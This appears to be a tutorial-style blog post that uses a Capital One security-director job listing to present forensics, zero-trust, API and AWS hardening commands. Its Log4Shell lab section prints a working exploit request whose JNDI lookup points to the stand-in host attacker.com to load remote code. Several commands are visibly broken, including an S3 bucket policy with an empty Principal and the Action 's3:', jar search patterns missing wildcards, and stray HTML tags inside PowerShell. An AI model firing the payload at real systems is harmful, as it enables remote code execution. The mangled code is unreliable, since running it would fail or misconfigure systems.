Listen to this Post
Introduction:
The recent LinkedIn job posting for a Director, Information Security Officer at Capital One (https://lnkd.in/gZ2imPE4) signals a surging demand for hybrid leaders who blend GRC oversight with hands-on cloud and AI security engineering. With professionals like Tony Moukbel holding 58 certifications across cybersecurity, forensics, and electronics, the bar has moved from policy-writing to executing Linux forensics, hardening AWS/Azure APIs, and implementing zero-trust network access (ZTNA) – all while managing compliance.
Learning Objectives:
- Master the core technical commands and tools required for a modern ISO role (Linux forensics, Windows event analysis, cloud CLI hardening).
- Implement API security and vulnerability mitigation patterns used in financial-sector breaches.
- Apply step-by-step ZTNA and cloud hardening recipes that align with Capital One’s likely security stack.
You Should Know:
- From Job Description to Command Line: Linux & Windows Forensics for ISO Candidates
The posted Director role demands oversight of security operations – meaning you must verify analyst findings. Start with these forensic commands.
Linux (Incident Response)
Check for unauthorized sudo or cron persistence
sudo cat /var/log/auth.log | grep -i "failed password"
sudo crontab -l; for user in $(getent passwd | cut -d: -f1); do sudo crontab -u $user -l 2>/dev/null; done
Capture network connections and listening ports
ss -tulpn | grep LISTEN
lsof -i -P -n | grep ESTABLISHED
Extract hidden processes (common rootkits)
sudo ps -eaf --forest | grep -E ".(py|pl|sh)$" | awk '{print $2}' | xargs -I{} ls -l /proc/{}/exe 2>/dev/null
Windows (PowerShell as Admin)
Get last 10 failed logon events (Event ID 4625)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625} -MaxEvents 10 | Format-List TimeCreated, Message
List scheduled tasks that run as SYSTEM
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"} | Get-ScheduledTaskInfo
Check for unusual outbound connections
Get-NetTCPConnection -State Established | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess | ForEach-Object { $proc = Get-Process -Id $<em>.OwningProcess -ErrorAction SilentlyContinue; $</em> | Add-Member -NotePropertyName ProcessName -NotePropertyValue $proc.ProcessName; $_ }
Step-by-step: Use the Linux commands to audit a suspected compromised server – focus on cron and auth.log anomalies. On Windows, pair the scheduled task check with Autoruns from Sysinternals to detect persistence.
- Zero-Trust Network Access (ZTNA) Configuration – Mimic a Financial-Grade Deployment
ZTNA replaces VPNs. Capital One’s ISO would approve this pattern using open-source OpenZiti or commercial equivalents.
Example with OpenZiti (Linux controller + edge router)
Install controller (Ubuntu 22.04)
curl -sSL https://get.openziti.io/quickstart/expressInstall.sh | bash -s -- -v 0.27.0
ziti edge login localhost:1280 -u admin -p admin
Create a service (e.g., internal accounting app)
ziti edge create service "accounting-svc" --role-attributes "finance"
ziti edge create config "accounting-intercept" intercept.v1 '{"protocols":["tcp"],"addresses":["accounting.internal"],"portRanges":[{"low":8080,"high":8080}]}'
ziti edge create config "accounting-host" host.v1 '{"protocol":"tcp","address":"192.168.10.50","port":8080}'
ziti edge add-service-configs "accounting-svc" "accounting-intercept" "accounting-host"
Create an identity for a user and download enrollment token
ziti edge create identity user-jdoe -a "finance-users" -o jdoe.jwt
Step-by-step: After installation, deploy the edge router on a DMZ host. Enroll the user identity using ziti edge enroll --jwt jdoe.jwt. The client (ziti-edge-tunnel) then connects without exposing IPs – this enforces least privilege and checks posture (AV, OS patches) before access.
3. API Security Hardening for Cloud-Native ISOs
APIs are the new perimeter. Use these commands to detect and mitigate OWASP API Top 10 issues.
Detect exposed secrets in code (using truffleHog)
Run recursively in a repo docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest filesystem /pwd --only-verified --json | jq '.SourceMetadata.Data.JSON'
Rate limiting with Nginx (mitigate BOLA/IDOR)
In /etc/nginx/nginx.conf inside http block
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=5r/s;
server {
location /api/ {
limit_req zone=api_limit burst=10 nodelay;
limit_req_status 429;
proxy_pass http://backend;
add_header X-RateLimit-Limit 5 always;
}
}
Azure API Management policy to enforce JWT and IP whitelist (common in Capital One’s Azure footprint)
<policies>
<inbound>
<validate-jwt header-name="Authorization" failed-validation-httpcode="401" failed-validation-error-message="Unauthorized" require-expiration-time="true">
<issuer-signing-keys>
<key>https://login.microsoftonline.com/{tenantid}/discovery/v2.0/keys</key>
</issuer-signing-keys>
<audiences>
<audience>api://capitalone-finance</audience>
</audiences>
</validate-jwt>
<ip-filter action="allow" v4="10.0.0.0/8" v6="::1"/>
</inbound>
</policies>
Step-by-step: Run truffleHog against any CI/CD pipeline to block secrets. Deploy the Nginx rate limiting before an API gateway. For Azure, import the policy via az apim api policy set --api-id finance-api --policy-file policy.xml.
- Vulnerability Exploitation & Mitigation – Log4Shell Simulation (CVE-2021-44228)
A Director ISO must understand both exploitation and remediation. Use a safe lab.
Exploit (educational only)
Start a vulnerable Spring Boot app (docker)
docker run -p 8080:8080 --name vuln-app ghcr.io/chaimochna/log4shell-vulnerable-app:latest
Trigger exploit with a crafted JNDI lookup
curl -X POST "http://localhost:8080/api/hello" -H "Content-Type: application/json" -d '{"username":"${jndi:ldap://attacker.com:1389/Exploit}"}'
Mitigation commands (Linux & Windows)
On Linux, scan for log4j versions in all installed packages
grep -r --include=".jar" "JndiLookup.class" / 2>/dev/null | awk -F: '{print $1}' | xargs -I{} zipgrep JndiLookup.class {}
Remove JndiLookup from log4j-core (emergency patch)
zip -q -d log4j-core-.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Windows PowerShell equivalent
Get-ChildItem -Path C:\ -Filter .jar -Recurse -ErrorAction SilentlyContinue | ForEach-Object { Select-String -Pattern "JndiLookup" -Path $_.FullName -SimpleMatch }
Step-by-step: In a isolated lab, run the exploit to see RCE. Then apply the mitigation by deleting the class file – this stops JNDI lookups without upgrading. Patch management (upgrade to log4j 2.17.0+) remains the final fix.
- Cloud Hardening for AWS – Enforce S3 Block Public Access & Bucket Policies
The ISO role at Capital One (a heavy AWS user) requires preventing data leaks.
AWS CLI commands
Enable block public access at account level
aws s3control put-public-access-block --public-access-block-configuration BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true --account-id 123456789012
Find all buckets with public ACLs
aws s3api list-buckets --query "Buckets[].Name" --output text | xargs -n1 -I {} aws s3api get-bucket-acl --bucket {} | grep -B3 "URI.AllUsers"
Enforce encryption and disable legacy TLS
aws s3api put-bucket-encryption --bucket sensitive-data --server-side-encryption-configuration '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'
aws s3api put-bucket-policy --bucket sensitive-data --policy '{"Version":"2012-10-17","Statement":[{"Effect":"Deny","Principal":"","Action":"s3:","Resource":"arn:aws:s3:::sensitive-data/","Condition":{"Bool":{"aws:SecureTransport":false}}}]}'
Step-by-step: Apply the account-level block public access first. Then run the bucket ACL check weekly via a Lambda function. The bucket policy with `aws:SecureTransport` denies HTTP – forces HTTPS only.
What Undercode Say:
- Financial ISOs no longer just write policies – they must actively audit with Linux/Windows forensics and API security tooling. The Capital One posting reflects this hybrid reality.
- Zero-trust is a configuration, not a product. Commands like OpenZiti’s service creation and edge enrollment are now baseline skills for director-level interviews.
- Prediction: Within 18 months, ISO job descriptions will require demonstrated ability to write mitigation commands for CVSS 9.0+ vulnerabilities (Log4Shell, Spring4Shell) and script cloud hardening – certifications alone won’t suffice. Candidates who cannot produce a `zip -q -d` patch or an AWS bucket policy will be filtered out in technical screens.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Adamhpendleton I – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
